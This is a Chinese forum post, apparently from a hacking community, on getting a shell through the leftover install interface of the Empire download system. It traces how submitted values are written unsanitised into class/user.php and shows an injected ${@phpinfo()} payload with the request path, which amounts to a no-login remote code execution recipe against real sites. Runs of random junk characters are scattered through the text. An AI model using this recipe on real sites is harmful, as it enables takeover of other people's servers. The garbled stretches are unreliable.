这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们" R. M3 C3 z& m
' v0 |! A# X' @* A
4 }% ^8 J4 _/ D. e+ P4 L2 P这是帝国的一套下载系统 如图
- b9 H+ q4 C2 C/ |8 \6 ?+ K- Zps(不需要任何账户和密码,直接写shell)
, w- B l3 U$ x3 e- ~8 z由于很多站是由于下载要整合discuz 等等一些论坛....
- y O1 Y* h& b: t% s' U
+ y! A$ j6 r# n3 O9 v而帝国他又有一个万能接口,如图
/ ^4 G9 G" o( m7 x4 d! f. ^- h U# e2 B
% s T* J) D: B: w+ u
7 p5 c4 u+ f: l' h& ` `# v9 ^2 t而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
, U/ Q0 N' u& h2 Z" A7 |% ~1 p# s
当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪7 N* I( @4 P4 J- d4 i2 \, `
% W" j# ]+ }& ~+ p' j$ Q
在data/fun.php中的15行7 O( N0 X' D$ y
2 O$ r( Z4 T% m0 M
我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {4 @. @% m/ W7 e' H1 t
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干9 q8 e+ @ a x$ P0 a
. i# E+ i% m9 D) I这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);$ d* q( b7 Q( y% x5 ?9 P$ c
^& ?1 x$ g3 [/ X& R4 i! ~
他将传进来的变量进行了切割,然后赋给了$filetext5 _9 f% \- F: O7 K* t* I- I
9 `) P/ r) X# E3 @
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了
E/ W" i8 M4 s9 `$ j) m/ U- o; J! C: n8 X( Q2 ~
我们看看写入的结果,随便填一个 : I* Q3 w U5 d! t6 l# m
: V9 h7 I: ^5 E5 S, f2 b0 U+ N
5 J3 r [* ~ d/ B; m, |
# b; z" F$ H% [" O7 P& `
$ o+ G7 ? @9 i/ c
) c% O" X- g2 {( N5 r h6 \* W% u$ c% Z0 _6 ~0 o3 @5 I
, ~, a3 i1 I$ J! e/ _& d( j
. S4 {( j% J3 E" E: `3 S. }' {
% u/ q, @" _! p) K1 I0 u9 A* ^* g7 P g6 U9 V1 f; A; x" c9 L
7 U$ z* i+ \; a
- M, @ m @4 A) N5 c/ [& |( I2 |
" m' P* T8 }" j( W9 I" s
s" l$ R+ a0 S* _: [3 L T" T; K$ A2 |3 Y, t+ q5 b4 t6 r; Z8 ^
, x* \4 Y2 g) [* w3 K2 y4 V
+ E4 y* Q, I, c! W7 a) j# y0 {, f4 w4 h9 O0 K6 |/ I
4 N. f1 ~( B6 I! h5 O
* n6 B) g0 _% H! P u) g9 t所以我们淫荡点,写个${@phpinfo()}试试 . \: k) Q1 c7 C0 }8 c. ~ c4 u, C
然后访问以下class/user.php这个文件5 Y# a1 z) D- a2 }
日了吧 : X' y! j* h; @! X2 H7 k
4 H6 m2 d# z$ {2 X6 \) P
8 g7 M3 m/ N7 B2 n7 l, l* I3 Y' H
9 m- N% O$ z- k
# C) K. _, k0 w# ] H1 s1 n |